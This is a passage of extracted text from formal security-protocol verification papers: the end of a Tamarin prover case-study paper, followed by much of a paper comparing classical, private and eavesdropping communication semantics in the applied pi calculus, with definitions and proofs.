(enc) and decryption (dec), permitting one to decrypt an encrypted message with
the right key: dec(enc(m, k), k) = m. We add an additional operator prefix to
the signature which allows one to extract the first part of an encrypted message
as encrypted ciphertext under the same key:

prefix (enc(〈x, y〉, k)) = enc(x, k) (1)

We use this theory to model and analyze the Denning-Sacco and Needham-
Schroeder protocols. The results are reported in the table below and the details
for both are available in the technical report [17].

4.5 Summary of Case Studies

Altogether, the set of case studies presented shows that the expansion of admissi-
ble equational theories for Tamarin prover is quite general and useful for many,
very different protocols. Table 1 presents our verification results.
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Table 1. Summary of case study results. Timings are done on a standard dual-core
laptop (requiring less than 8GB RAM) and include precomputations.

Protocol Property Result Time Proof steps

Chaum Unforgeability Verified 0.2 s 10

Chaum Anonymity Verified 7.6 s 673

Chaum Untraceability Verified 1 m13.7 s 2769

FOO Eligibility Verified 10.3 s 9

FOO Vote Privacy Verified 4 m11.1 s 6946

Okamoto Eligibility Verified 8.4 s 5

Okamoto Vote Privacy Verified 1 m20.3 s 3332

Okamoto Receipt-Freeness Verified 13 m35.8 s 19691

Denning-Sacco Session matching Attack 0.3 s 4

Needham-Schroeder Key secrecy Attack 24.0 s 8

5 Conclusion

In this paper, we significantly extend the scope of the protocols that can be
handled by the Tamarin prover: we allow users to specify arbitrary conver-
gent equational theories that have the finite variant property. This extension
strictly generalizes the original theory underlying the Tamarin prover which is
restricted to subterm convergent theories. From a more technical side, we gener-
alize the theory for dealing with message deduction, introduce a new normal form
condition on dependency graphs to avoid non-termination issues and prove the
completeness of the generalized normal message deduction rules and additional
normal form condition. All our results have been implemented in the Tamarin
prover and their effective applicability is demonstrated on several, quite differ-
ent case studies: Chaum’s digital cash protocol, the FOO and Okamoto e-voting
protocols, and consideration of a prefix property for encryption in two classical
authentication protocols.

An interesting line for future work is to add more support for equational
theories that have associative-commutative operators, such as the built-in theory
for Diffie-Hellman and bilinear pairings. Including support for exclusive or (xor)
seems particularly challenging. Backward reasoning on the message deduction
for xor leads easily to non-termination. We however believe that our new normal
form condition may serve as a promising starting point for this extension.
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Abstract. Symbolic models for security protocol verification, following
the seminal ideas of Dolev and Yao, come in many flavors, even though
they share the same ideas. A common assumption is that the attacker
has complete control over the network: he can therefore intercept any
message. Depending on the precise model this may be reflected either
by the fact that any protocol output is directly routed to the adver-
sary, or communications may be among any two participants, including
the attacker — the scheduling between which exact parties the commu-
nication happens is left to the attacker. These two models may seem
equivalent at first glance and, depending on the verification tools, either
one or the other semantics is implemented. We show that, unsurprisingly,
they indeed coincide for reachability properties. However, when we con-
sider indistinguishability properties, we prove that these two semantics
are incomparable. We also introduce a new semantics, where internal
communications are allowed but messages are always eavesdropped by
the attacker. We show that this new semantics yields strictly stronger
equivalence relations. We also identify two subclasses of protocols for
which the three semantics coincide. Finally, we implemented verification
of trace equivalence for each of these semantics in the APTE tool and
compare their performances on several classical examples.

1 Introduction

Automated, symbolic analysis of security protocols, based on the seminal ideas
of Dolev and Yao, comes is many variants. All of these models however share a
few fundamental ideas:

– messages are represented as abstract terms,
– adversaries are computationally unbounded, but may manipulate messages

only according to pre-defined rules (this is sometimes referred to as the perfect
cryptography assumption), and

– the adversary completely controls the network.

In this paper we will revisit this last assumption. Looking more precisely
at different models we observe that this assumption may actually slightly differ
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among the models. The fact that the adversary controls the network is supposed
to represent a worst case assumption.

In some models this assumption translates to the fact that every protocol
output is sent to the adversary, and every protocol input is provided by the
adversary. This is the case in the original Dolev Yao model and also in the
models underlying several tools, such as AVISPA [6], Scyther [13], Tamarin [20],
Millen and Shmatikov’s constraint solver [17], and the model used in Paulson’s
inductive approach [18].

Some other models, such as those based on process algebras, e.g. work based
on CSP [19], the Spi [3] and applied pi calculus [1], but also the strand space
model [21], consider a slightly different communication model: any two agents
may communicate. Scheduling whether communication happens among two hon-
est participants, or a honest participant and the attacker is under the attacker’s
control.

When considering reachability properties, these two communication models
indeed coincide: intuitively, any internal communication could go through the
adversary who acts as a relay and increases his knowledge by the transmit-
ted message. However, when considering indistinguishability properties, typically
modelled as process equivalences, these communication models diverge. Interest-
ingly, when forbidding internal communication, i.e., forcing all communication to
be relayed by the attacker, we may weaken the attacker’s distinguishing power.

In many recent work privacy properties have been modelled using process
equivalences, see for instance [5,14,15]. The number of tools able to verify such
properties is also increasing [9–11,22]. We have noted that for instance the
AKISS tool [10] does not allow any direct communication on public channels,
while the APTE tool [11] allows the user to choose among the two semantics.
One motivation for disallowing direct communication is that it allows for more
efficient verification (as less actions need to be considered and the number of
interleavings to be considered is smaller).

Our contributions. We have formalised three semantics in the applied pi calculus
which differ by the way communication is handled:

– the classical semantics (as in the original applied pi calculus) allows both
internal communication among honest participants and communication with
the adversary;

– a private semantics allows internal communication only on private channels
while all communication on public channels is routed through the adversary;

– an eavesdropping semantics which allows internal communication, but as a
side-effect adds the transmitted message to the adversary’s knowledge.

For each of the new semantics we define may-testing and observational equiv-
alences. We also define corresponding labelled semantics and trace equivalence
and bisimulation relations (which may serve as proof techniques).

We show that, as expected, the three semantics coincide for reachability
properties. For equivalence properties we show that the classical and private
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semantics yield incomparable equivalences, while the eavesdropping semantics
yields strictly stronger equivalence relations than both other semantics. The
results are summarized in Fig. 7.

An interesting question is whether these semantics coincide for specific sub-
classes of processes. We first note that the processes that witness the differences
in the semantics do not use replication, private channels, nor terms other than
names, and no equational theory. Moreover, all except one of these examples
only use trivial else branches (of the form else 0); the use of a non-trivial else
branch can however be avoided by allowing a single free symbol.

However conditions on the channel names may yield such a subclass. We
first observe that the class of simple processes [12], for which already observa-
tional, testing, trace equivalence and labelled bisimulation coincide, do have this
property. Simple processes may however be too restrictive for modelling some
protocols that should guarantee anonymity (as no parallel processes may share
channel names). We therefore identify a syntactic class of processes, that we call
I/O-unambiguous. For this class we forbid communication on private channels,
communication of channel names and an output may not be sequentially fol-
lowed by an input on the same channel directly, or with only conditionals in
between. Note that I/O-unambiguous processes do however allow outputs and
inputs on the same channel in parallel. We show that for this class the eaves-
dropping semantics (which is the most strict relation) coincides with the private
one (which is the most efficient for verification).

Finally, we extended the APTE tool to support verification of trace equiva-
lence for the three semantics. Verifying existing protocols in the APTE example
repository we verified that the results, fortunately, coincided for each of the
semantics. We also made slight changes to the encodings, renaming some chan-
nels, to make them I/O-unambiguous. Interestingly, using different channels,
significantly increased the performance of the tool. Finally, we also observed
that, as expected, the private semantics yields more efficient verification. The
results of our experiments are summarized in the table on page 21.

Outline. In Sect. 2 we define the three semantics we consider. In Sect. 3 we
present our main results on comparing these semantics. We present subclasses
for which (some) semantics coincide in Sect. 4 and compare the performances
when verifying protocols for different semantics using APTE in Sect. 5, before
concluding in Sect. 6.

Because of lack of space we did not include all proofs. Missing proofs are
available in an extended [7].

2 Model

The applied pi calculus [1] is a variant of the pi calculus that is specialised for
modelling cryptographic protocols. Participants in a protocol are modelled as
processes and the communication between them is modelled by message passing
on channels. In this section, we describe the syntax and semantics of the applied
pi calculus as well as the two new variants that we study in this paper.
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2.1 Syntax

We consider an infinite set N of names of base type and an infinite set Ch of
names of channel type. We also consider an infinite set of variables X of base
type and channel type and a signature F consisting of a finite set of function
symbols. We rely on a sort system for terms. In particular, the sort base type
differs from the sort channel type. Moreover, any function symbol can only be
applied and returns base type terms. We define terms as names, variables and
function symbols applied to other terms. Given N ⊆ N , X ⊆ X and F ⊆ F ,
we denote by T (F,X,N) the sets of terms built from X and N by applying
function symbols from F . We denote fv(t) the sets of variables occurring in t.
We say that t is ground if fv(t) = ∅. We describe the behaviour of cryptographic
primitives by the means of an equational theory E that is a relation on terms
closed under substitutions of terms for variables and closed under one-to-one
renaming. Given two terms u and v, we write u =E v when u and v are equal
modulo the equational theory.

In the original syntax of the applied pi calculus, there is no distinction
between an output (resp. input) from a protocol participant and from the envi-
ronment, also called the attacker. In this paper however, we will make this dis-
tinction in order to concisely present our new variants of the semantics. There-
fore, we consider two process tags ho and at that respectively represent honest
and attacker actions. The syntax of plain processes and extended processes is
given in Fig. 1.

P, Q := 0 plain processes A, B := P extended processes
P | AQ | B
!P νn.A
νn.P νx.A
if u = v then P else Q {u/x}
inθ(c, x).P ωc

outθ(c, u).P
eav(c, x).P

where u and v are base type terms, n is a name, x is a variable and c is a name or variable of
channel type, θ is a tag, i.e. θ ∈ {ho, at}.

Fig. 1. Syntax of processes

The process outθ(c, u) represents the output by θ of the message u on the
channel c. The process inθ(c, x) represents an input by θ on the channel c. The
input message will instantiate the variable x. The process eav(c, x) models the
capability of the attacker to eavesdrop a communication on channel c. The
process !P represents the replication of the process P , i.e. unbounded num-
ber of copies of P . The process P | Q represents the parallel composition of
P and Q. The process νn.P (resp. νx.A) is the restriction of the name n in P
(resp. variable x in A). The process if u = v then P else Q is the conditional
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branching under the equality test u = v. The process ωc records that a private
channel c has been opened, i.e., it has been sent on a public or previously opened
channel. Finally, the substitution {u/x} is an active substitution that replaces
the variable x with the term u of base type.

We say that a process P (resp. extended process A) is an honest process (resp.
honest extended process) when all inputs and outputs in P (resp. A) are tagged
with ho and when P (resp. A) does not contain eavesdropping processes and ωc.
We say that a process P (resp. extended process A) is an attacker process (resp.
attacker extended process) when all inputs and outputs in P (resp. A) are tagged
with at.

As usual, names and variables have scopes which are delimited by restric-
tions, inputs and eavesdrops. We denote fv(A), bv(A), fn(A), bn(A) the sets of
free variables, bound variables, free names and bound names respectively in A.
Moreover, we denote by oc(A) the sets of terms c of channel type opened in A,
i.e. that occurs in a process ωc. We say that an extended process A is closed
when all variables in A are either bound or defined by an active substitution
in A. We define an evaluation context C[ ] as an extended process with a hole
instead of an extended process. As for processes, we define an attacker evaluation
context as an evaluation context where all outputs and inputs in the context are
tagged with at.

Note that our syntax without the eavesdropping process, opened channels
and tags correspond exactly to the syntax of the original applied pi calculus.

Lastly, we consider the notion of frame that are extended processes built from
0, parallel composition, name and variable restrictions and active substitution.
Given a frame ϕ, we consider the domain of ϕ, denoted dom(ϕ), as the set of free
variables in ϕ that are defined by an active substitution in ϕ. Given an extended
process A, we define the frame of A, denoted φ(A), as the process A where we
replace all plain processes by 0. Finally, we write dom(A) as syntactic sugar for
dom(φ(A)).

2.2 Operational Semantics

In this section, we define the three semantics that we study in this paper, namely:

– the classical semantics from the applied pi calculus, where internal communi-
cation can occur on both public and private channels;

– the private semantics where internal communication can only occur on private
channels; and

– the eavesdropping semantics where the attacker is able to eavesdrop on a
public channel.

We first define the structural equivalence between extended processes,
denoted ≡, as the smallest equivalence relation on extended processes that is
closed under renaming of names and variables, closed by application of evalua-
tion contexts, that is associative and commutative w.r.t. |, and such that:
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A ≡ A | 0 !P ≡ !P | P νn.0 ≡ 0
νi.νj.A ≡ νj.νi.A νx.{u/x} ≡ 0 {u/x} | A ≡ {u/x} | A{u/x}

A | νi.B ≡ νi.(A | B) when i �∈ fv(A) ∪ fn(A) ωc ≡ ωc | ωc
{u/x} ≡ {v/x} when u =E v

The three operational semantics of extended processes are defined by the
structural equivalence and by three respective internal reductions, denoted →c,
→p and →e. These three reductions are the smallest relations on extended
processes that are closed under application of evaluation context, structural
equivalence and such that:

if u = v then P else Q
τ−→s P where u =E v and s ∈ {c, p, e} Then

if u = v then P else Q
τ−→s Q Else

where u, v ground, u �=E v and s ∈ {c, p, e}

outθ(c, u).P | inθ′
(c, x).Q τ−→c P | Q{u/x} Comm

νc.(outθ(c, u).P | inθ′
(c, x).Q | R)

τ−→s νc.(P | Q{u/x} | R) C-Priv
where c �∈ oc(R) and s ∈ {p, e}

outθ(c, u).P | inθ′
(c, x).Q

τ−→s P | Q{u/x} C-Env
at ∈ {θ, θ′}, u is of base type and s ∈ {p, e}

outθ(c, d).P | inθ′
(c, x).Q

τ−→s P | Q{d/x} | ωd C-Open
at ∈ {θ, θ′}, d is of channel type and s ∈ {p, e}

outho(c, u).P | inho(c, x).Q | eav(c, y).R
τ−→e P | Q{u/x} | R{u/y} C-Eav

where u is of base type

outho(c, d).P | inho(c, x).Q | eav(c, y).R
τ−→e P | Q{d/x} | R{d/y} | ωd C-OEav

where d is of channel type

We emphasise that the application of the rule is closed under application of
arbitrary evaluation contexts. In particular the context may restrict channels,
e.g. the rule C-Open may be used under the context νc. resulting in a pri-
vate channel c, but with the attacker input/output being in the scope of this
restriction. It follows from the definition of evaluation contexts that the result-
ing processes are always well defined. We denote by ⇒s the reflexive, transitive
closure of τ−→s for s ∈ {c, p, e}. We note that the classical semantics τ−→c is inde-
pendent of the tags θ, θ′, the eavesdrop actions and the ωc processes.

Example 1. Consider the process

A = (νd.outθ(c, d).inθ(d, x).P ) | (inθ′
(c, y).outθ

′
(y, t).Q)

where d is a channel name and t a term of base type. Suppose θ = θ′ = ho then
we have that communication is only possible in the classical semantics (using
twice the Comm rule):

A
τ−→c νd.(inθ(d, x).P | outθ′

(d, t).Q{d/y})
τ−→c νd.(P{t/x} | Q{d/y})
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while no transitions are available in the two other semantics. To enable com-
munication in the eavesdropping semantics we need to explicitly add eavesdrop
actions. Applying the rules C-OEav and C-Eav we have that

A | eav(c, z1).eav(z1, z2).R
τ−→e νd.(inθ(d, x).P | outθ′

(d, t).Q{d/y}
| eav(d, z2).R{d/z1} | ωd)

τ−→e νd.(P{t/x} | Q{d/y} | R{d/z1}{t/z2} | ωd)

We note that the first transition adds the information ωd to indicate that d
is now available to the environment.

Finally, if we consider that at ∈ θ, θ′ then internal communication on a public
channel is possible and, using rules C-Open and C-Env we obtain for s ∈ {p, e}
that

A
τ−→s νd.(inθ(d, x).P | outθ′

(d, t).Q{d/y} | ωd)
τ−→s νd.(P{t/x} | Q{d/y} | ωd)

2.3 Reachability and Behavioural Equivalences

We are going to compare the relation between the three semantics for the two
general kind of security properties, namely reachability properties encoding secu-
rity properties such as secrecy, authentication, and equivalence properties encod-
ing anonymity, unlinkability, strong secrecy, receipt freeness, . . . . Intuitively,
reachability properties encode that a process cannot reach some bad state. Equiv-
alences define the fact that no attacker can distinguish two processes. This was
originally defined by the (may)-testing equivalence [3] in the spi-calculus. An
alternate equivalence, which was considered in the applied pi calculus [1], is
observational equivalence.

Reachability properties can simply be encoded by verifying the capability
of a process to perform an output on a given cannel. We define A ⇓s,θ

c to hold
when A ⇒ sC[outθ(c, t).P ] for some evaluation context C that does not bind c,
some term t and some plain process P , and A ⇓s

c to hold when A ⇓s,θ
c for some

θ ∈ {at, ho}. For example the secrecy of s in the process νs.A can be encoded
by checking whether for all attacker plain process I, we have that

I | νs.(A | inho(c, x).if x = s then outho(bad, s)) �⇓s,ho
bad

where bad �∈ fn(A).
Authentication properties are generally expressed as correspondence proper-

ties between events annotating processes, see e.g. [8]. A correspondence property
between two events begin and end, denoted begin ⇐ end, requires that the event
end is preceded by the event begin on every trace. A possible encoding of this
correspondence property consists in first replacing all instances of the events in
A by outputs outho(ev, begin) and outho(ev, end) where ev �∈ fn(A)∪bn(A). This
new process A′ can then be put in parallel with a cell Cell that reads on the
channel ev and stores any new value unless the value is end and the current
stored value in the cell is not begin. In such a case, the cell will output on the
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channel bad. The correspondence property can therefore be encoded by checking
whether for all attacker plain process I, we have that I | νev.(A′ | Cell) �⇓s,ho

bad .
We say that an attacker evaluation context C[ ] is c-closing for an extended

process A if fv(C[A]) = ∅. For s ∈ {p, e}, we say that C[ ] is s-closing for A if
it is c-closing for A, variables and names are bound only once in C[ ] and for all
channels c ∈ bn(C[ ]) ∩ fn(A), if the scope of c includes then the scope of c
also includes ωc.

We next introduce the two main notions of behavioural equivalences: may
testing and observational equivalence.

Definition 1 ((May-)Testing equivalences ≈c
m, ≈p

m, ≈e
m). Let s ∈ {c, p, e}.

Let A and B two closed honest extended processes such that dom(A) = dom(B).
We say that A ≈s

m B if for all attacker evaluation contexts C[ ] s-closing for A
and B, for all channels c, we have that C[A] ⇓s

c if and only if C[B] ⇓s
c.

Definition 2 (Observational equivalences ≈c
o, ≈p

o, ≈e
o). Let s ∈ {c, p, e}.

Let A and B two closed extended processes such that dom(A) = dom(B). We
say that A ≈s

m B if ≈s
m is the largest equivalence relation such that:

– A ⇓s
c implies B ⇓s

c;
– A

τ−→s A′ implies B ⇒ εsB
′ and A′ ≈s

m B′ for some B′;
– C[A] ≈s

m C[B] for all attacker evaluation contexts C[ ] s-closing for A and B.

For each of the semantics we have the usual relation between these two
notions: observational equivalence implies testing equivalence.

Proposition 1. ≈s
o � ≈s

m for s ∈ {c, e, p}.
Example 2. Consider processes A and B of Fig. 2. Process A computes a value
hn(a) to be output on channel c, where hn(a) denotes n applications of h and
h0(a) = a. The value is initially a and A may choose to either output the current
value, or update the current value by applying the free symbol h. B may choose
non-deterministically to either behave as A or output the fresh name s. (The
non-deterministic choice is encoded by a communication on the private channel
e which may be received by either the process behaving as A or the process
outputting s.)

We have that A �≈s
o B. The two processes can indeed be distinguished by the

context

C[ ] =̂ | outat(ca, a) | !(inat(ca, x).outat(ca, h(x))
| inat(ca, y).inat(c, z).if y = z then outat(ct, h(x))

Intuitively, when B outputs s the attacker context C[ ] can iterate the appli-
cation of h the same number of times as would have done process A. Comparing
the value computed by the adversary (hn(a)) and the honestly computed value
(either hn(a) or s) the adversary distinguishes the two processes by outputting
on the test channel ct.
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A νd.outho(d, a) | !inho(d, x).outho(d, h(x)) | inho(d, y).outho(c, y)

B νe.outho(e, a) | inho(e, z).A | inho(e, z).νs.outho(c, s)

Fig. 2. Processes A and B such that A ≈s
m B, but A �≈s

o B and A �≈s
t B for s ∈ {c, e, p}.

However, we have that A ≈s
m B. Indeed, for any s-closing context D[ ] and all

public channel ch we have that D[A] ⇓s
ch if and only if D[B] ⇓s

ch. In particular
for context C[ ] defined above we have that both C[A] ⇓s

ch and C[B] ⇓s
ch for

ch ∈ {ca, ct, c}. Unlike observational equivalence, may testing does not require
to “mimick” the other process stepwise and we cannot force a process into a
particular branch.

2.4 Labelled Semantics

The internal reduction semantics introduced in the previous section requires
to reason about arbitrary contexts. Similar to the original applied pi calcu-
lus, we extend the three operational semantics by a labeled operational seman-
tics which allows processes to directly interact with the (adversarial) environ-
ment: we define the relation �−→c,

�−→p and �−→e where � is part of the alpha-
bet A = {τ, out(c, d), eav(c, d), in(c, w), νk.out(c, k), νk.eav(c, k) | c, d ∈ Ch, k ∈
X ∪ Ch and w is a term of any sort}. The labeled rules are given in Fig. 3.

Consider our alphabet of actions A defined above. Given w ∈ A∗, s ∈ {c, p, e}
and an extended process A, we say that A

w−→s An when A
�1−→s A1

�2−→s A2
�3−→s

. . .
�n−→s An for some extended processes A1, . . . , An and w = �1 · . . . · �n. By

convention, we say that A
ε−→s A where ε is the empty word. Given tr ∈ (A\{τ})∗,

we say that A
tr=⇒s A′ when there exists w ∈ A∗ such that tr is the word w where

we remove all τ actions and A
w−→s A′.

Example 3. Coming back to Example 1, we saw that A
τ−→c

τ−→c νd.(P{t/x} |
Q{d/y}) and no τ -actions in the other two semantics were available. Instead
of explicitly adding eavesdrop actions, we can apply the rules Eav-OCh and
Eav-T and obtain that

A
νd.eav(c,d)−−−−−−−→e inho(d, x).P | outho(d, t).Q{d/y})
νz.eav(d,z)−−−−−−−→e P{t/x} | Q{d/y} | {t/z}

We can now define both reachability and different equivalence properties in
terms of these labelled semantics and relate them to the internal reduction. To
define reachability properties in the labelled semantics, we define A �s

c to hold
when A

tr=⇒ A′, tr = tr1out(c, t)tr2 and tr1 does not bind c for some tr, tr1, tr2 ∈
(A \ {τ})∗, term t and extended process A′.

The following proposition states that any reachability property modelled in
terms of A ⇓s,θ

c and universal quantification over processes, can also be expressed
using A �s

c without the need to quantify over processes.
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IN inho(c, y).P
in(c,t)−−−−→s P{t/y}

OUT-CH outho(c, d).P
out(c,d)−−−−−→s P

OPEN-CH
A

out(c,d)−−−−−→s A′ d �= c

νd.A
νd.out(c,d)−−−−−−−→s A′

EAV-OCH
A

eav(c,d)−−−−−→e A′ d �= c

νd.A
νd.eav(c,d)−−−−−−−→e A′

SCOPE
A

�−→s A′ u does not occur in �

νu.A
�−→s νu.A′

bn(�) ∩ fn(B) = ∅
PAR

A
�−→s A′ bv(�) ∩ fv(B) = ∅

A | B
�−→s A′ | B

STRUCT
A ≡ B B

�−→s B′ B′ ≡ A′

A
�−→s A′

EAV-CH outho(c, d).P | inho(c, x).Q
eav(c,d)−−−−−→e P | Q{d/x}

EAV-T outho(c, t).P | inho(c, x).Q
νy.eav(c,y)−−−−−−−→e P | Q{t/x} | {t/y}

OUT-T outho(c, t).P
νx.out(c,x)−−−−−−−→s P | {t/x}

x �∈ fv(P ) ∪ fv(t)

where s ∈ {c, p, e}.

Fig. 3. Labeled semantics

Proposition 2. For all closed honest plain processes A, for all s ∈ {c, e, p},
A �s

c iff there exists an attacker plain process Is such that Is | A ⇓s,ho
c .

Next, we define equivalence relations using our labelled semantics that may
serve as proof techniques for the may testing relation. First we need to define
an indistinguishability relation on frames, called static equivalence.

Definition 3 (Static equivalence ∼). Two terms u and v are equal in
the frame φ, written (u =E v)φ, if there exists ñ and a substitution σ such
that φ ≡ νñ.σ, ñ ∩ (fn(u) ∪ fn(v)) = ∅, and uσ =E vσ.

Two closed frames φ1 and φ2 are statically equivalent, written φ1 ∼ φ2,
when:

– dom(φ1) = dom(φ2), and
– for all terms u, v we have that: (u =E v)φ1 if and only if (u =E v)φ2.

Example 4. Consider the equational theory generated by the equation
dec(enc(x, y), y) = x. Then we have that

νk. {enc(a,k)/x1} ∼ νk. {enc(b,k)/x1}
νk. {enc(a,k)/x1 ,

k /x2} �∼ νk. {enc(b,k)/x1 ,
k /x2}

νk, a. {enc(a,k)/x1 ,
k /x2} ∼ νk, b. {enc(b,k)/x1 ,

k /x2}
Intutively, the first equivalence confirms that encryption hides the plaintext

when the decryption key is unknown. The second equivalence does not hold as
the test (dec(x1, x2) =E a) holds on the left hand side, but not on the right
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hand side. Finally, the third equivalence again holds as two restricted names are
indistinguishable.

Now we are ready to define two classical equivalences on processes, based on
the labelled semantics: trace equivalence and labelled bisimulation.

Definition 4 (Trace equivalences ≈c
t, ≈p

t , ≈e
t). Let s ∈ {c, p, e}. Let A and B

be two closed honest extended processes. We say that A �s
t B if for all A

tr⇒sA
′

such that bn(tr) ∩ fn(B) = ∅, there exists B′ such that B
tr⇒sB

′ and φ(A′) ∼
φ(B′). We say that A ≈s

t B when A �s
t B and B �s

t A.

Definition 5 (Labeled bisimulations ≈c
�, ≈p

� , ≈e
�). Let s ∈ {c, p, e}. Let A

and B two closed honest extended processes such that dom(A) = dom(B). We
say that A ≈s

� B if ≈s
� is the largest equivalence relation such that:

– φ(A) ∼ φ(B)
– A

τ−→s A′ implies B
ε⇒sB

′ and A′ ≈s
� B′ for some B′,

– A
�−→s A′ and bn(�) ∩ fn(B) = ∅ implies B

l⇒sB
′ and A′ ≈s

� B′ for some B′.

We again have, as usual that labelled bisimulation implies trace equivalence.

Proposition 3. ≈s
� � ≈s

t for s ∈ {c, e, p}.
In [1] it is shown that ≈c

o = ≈c
�. We conjecture that for the new semantics

p and e this same equivalence holds as well. Re-showing these results is beyond
the scope of this paper, and we will mainly focus on testing/trace equivalence.
As shown in [12], for the classical semantics trace equivalence implies may test-
ing, while the converse does not hold in general. The two relations do however
coincide on image-finite processes.

Definition 6. Let A be a closed extended process. A is image-finite for the
semantics s ∈ {c, e, p} if for each trace tr the set of equivalence classes {φ(B) |
A

tr=⇒s B}/∼ is finite.

Note that any replication-free process is necessarily image-finite as there are
only a finite number of possible traces for any given sequence of labels tr. The
same relations among trace equivalence and may testing shown for the classical
semantics hold also for the other semantics.

Theorem 1. ≈s
t � ≈s

m and ≈s
t = ≈s

m on image-finite processes for s ∈ {c, e, p}.
The proof of this result (for the classical semantics) is given in [12] and is

easily adapted to the other semantics. To see that the implication is strict, we
continue Example 2 on processes A and B defined in Fig. 2. We already noted
that A ≈s

m B, but will now show that A �≈s
t B (for s ∈ {c, e, p}). All possible

traces of A are of the form A
νx.out(c,x)
=======⇒sA

′ where φ(A′) = {hn(a)/x} for n ∈ N.
We easily see that A�≈s

tB as for any n we have that {hn(a)/x} �∼ {s/x}, by testing
x = hn(a). On the other hand, given an image-finite process, we can only have a
finite number of different frames for a given trace, and therefore we can bound
the context size that is necessary for distinguishing the processes.
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A νs1.νs2.((out
ho(c, s1).in

ho(c, x).P1(x)) | (inho(c, y).P2(y)))

B νs1.νs2.((out
ho(c, s1).in

ho(c, x).P2(x)) | (inho(c, y).P1(y)))

where
P1(x (=̂) if x = s1 then outho(d, s2)) | (if x = s2 then outho(e, x))

P2(x (=̂) if x = s1 then outho(d, s2))

To emit on channel e, processes A and B must execute P2(s1) followed by P1(s2). In the classi-
cal semantics, a trace of A emitting on e through an internal communication between outho(c, s1)
and inho(c, y) forces B to execute P1(s1) thus preventing it to emit on e.

=̂

=̂

Fig. 4. Processes A and B such that A ≈p
� B and A �≈c

m B.

3 Comparing the Different Semantics

In this section we state our results on comparing these semantics. We first show
that, as expected, all the semantics coincide for reachability properties.

Theorem 2. For all ground, closed honest extended processes A, for all chan-
nels d, we have that A �p

d iff A �c
d iff A �e

d.

The next result is, in our opinion, more surprising. As the private semantics
force the adversary to observe all information, one might expect that his distin-
guishing power increases over the classical one. This intuition is however wrong:
the classical and private trace equivalences, testing equivalence and labelled
bisimulations appear to be incomparable.

Theorem 3. ≈p
r �⊆ ≈c

r and ≈c
r �⊆ ≈p

r for r ∈ {�, t,m}.

Proof. We first show that there exist A and B such that A ≈p
� B, but A �≈c

m B.
Note that, as ≈s

� ⊂ ≈s
t ⊆ ≈s

m for s ∈ {c, p} these processes demonstrate both
that ≈p

� �⊆ ≈c
�, ≈p

t �⊆ ≈c
t and ≈p

m �⊆ ≈c
m.

Consider processes A and B defined in Fig. 4. In short, the result follows from
the fact that if A performs an internal communication on channel c followed by
an output on d (from P1), B has no choice other then performing the output on d
in P2. In the private semantics, however, the internal communication will be split
in an output followed by an input: after the output on c, the input inho(c, x).P2(x)
following the output becomes available. More precisely, to see that A ≈p

� B we

first observe that if A
νz.out(c,z)−−−−−−−→p A′ then B

νz.out(c,z)−−−−−−−→p B′ and A′ ≡ B′, and

vice-versa. If A
in(c,t)−−−−→p A′ then B

in(c,t)−−−−→p B′. As t �∈ {s1, s2} we have that
P1(t) ≈p

� 0 ≈p
� P2(t). Finally, if t �= s2 we also have that P1(t) ≈p

� P2(t) as in
particular P1(s1) ≈p

� P2(s1). Therefore,

νs1.νs2.(out
ho(c, s1).in

ho(c, x).P1(x)) ≈p
� νs1.νs2.(out

ho(c, s1).in
ho(c, x).P2(x))

which allows us to conclude.
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As A and B are image-finite, we have that A ≈c
m B if and only if A ≈c

t B.
To see that A �≈c

t B we observe that A may perform the following transition
sequence, starting with an internal communication on a public channel:

A
τ−→c νs1.νs2.((inho(c, x).P1(x)) | (P2(s1)))

νz.out(d,z)
=======⇒c νs1.νs2.((inho(c, x).P1(x)) | {s2/z})

in(c,z)−−−−→c νs1.νs2.(P1(s2) | {s2/z})

In order to mimic the behaviour of A, B must perform the same sequence of
observable transitions:

B
νz.out(d,z) in(c,z)
===========⇒c νs1.νs2.(P2(s2) | {s2/z})

We conclude as νs1.νs2.(P1(s2) | {s2/z})
νz′.out(e,z′)−−−−−−−−→ νs1.νs2.({s2/z} | {s2/z′}),

but νs1.νs2.(P2(s2) | {s2/z}) � νz′.out(e,z′)−−−−−−−−→. This trace inequivalence has also been
shown using APTE.

To show that ≈c
r �⊆ ≈p

r for r ∈ {�, t,m} we show that there exist processes
A and B such that A ≈c

� B and A �≈p
m B. As in the first part of the proof, note

that, as ≈s
� ⊂ ≈s

t ⊆ ≈s
m for s ∈ {c, p} these processes demonstrate that ≈c

� �⊆ ≈p
� ,

≈c
t �⊆ ≈p

t and ≈c
m �⊆ ≈p

m.
Consider the processes A and B defined in Fig. 5. The proof crucially relies on

the fact that B may perform an internal communication in the classical semantics
to mimic A, which becomes visible in the attacker in the private semantics. To see
that A ≈c

� B we first observe that the only first possible action from A or B is an

input. In particular, given a term t, there is a unique B′ such that B
in(c,t)−−−−→ B′

where B′ = νs.(outho(c, s).outho(d, a) | inho(c, y).P (y)). However, if A
in(c,t)−−−−→ A′

then either A′ = B′ or A′ = A′′ with A′′ =̂ νs.(inho(c, x).outho(c, s).outho(d, a) |
P (t)). Therefore, to complete the proof, we only need to find B′′ such that

B
in(c,t)
====⇒ B′′ and A′′ ≈c

� B′′. Such process can be obtain by applying an internal

communication on B′, i.e. B
in(c,t)−−−−→c B′ τ−→ νs.(outho(d, a) | P (s)). Note that

t �= s since s is bound, meaning that P (t) ≈c
� outho(d, a). Moreover, P (s) ≈c

�

inho(c, x).outho(c, s).outho(d, a). This allows us to conlude that νs.(outho(d, a) |
P (s)) ≈c

� A′′.
Again, as A and B are image-finite may and trace equivalence coincide. To

see that A �≈p
t B we first observe that A may perform the following transition

sequence:

A
in(c,t)−−−−→p A′′ τ−→p νs.(inho(c, x).outho(c, s).outho(d, a) | outho(d, a))

νz.out(d,z)−−−−−−−→p νs.(inho(c, x).outho(c, s).outho(d, a) | {a/z})

We conclude as B
in(c,t)−−−−→p B′ but B′ � νz.out(d,z)−−−−−−−→p. This trace disequivalence has

also been shown using APTE. ��
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A νs.(inho(c, x).outho(c, s).outho(d, a) | inho(c, y).P (y))

B νs.(inho(c, x).(outho(c, s).outho(d, a) | inho(c, y).P (y)))

where
P (y =̂) if y = s then inho(c, z).outho(c, s).outho(d, a) else outho(d, a)

In the private semantics, a trace of A starting with the execution of inho(c, y) can only be matched
on B by executing inho(c, x). B could then emit on channel c, which is not the case for A,
hence yielding non equivalence. In the classic semantics, an internal communication between
outho(c, s) and inho(c, y) allows to hide the fact that B can emit on c.

=̂

=̂

Fig. 5. Processes A and B such that A ≈c
� B and A �≈p

m B.

One may also note that the counter-example witnessing that equivalences in
the private semantics do not imply equivalences in the classical semantics is min-
imal : it does not use function symbols, equational reasoning, private channels,
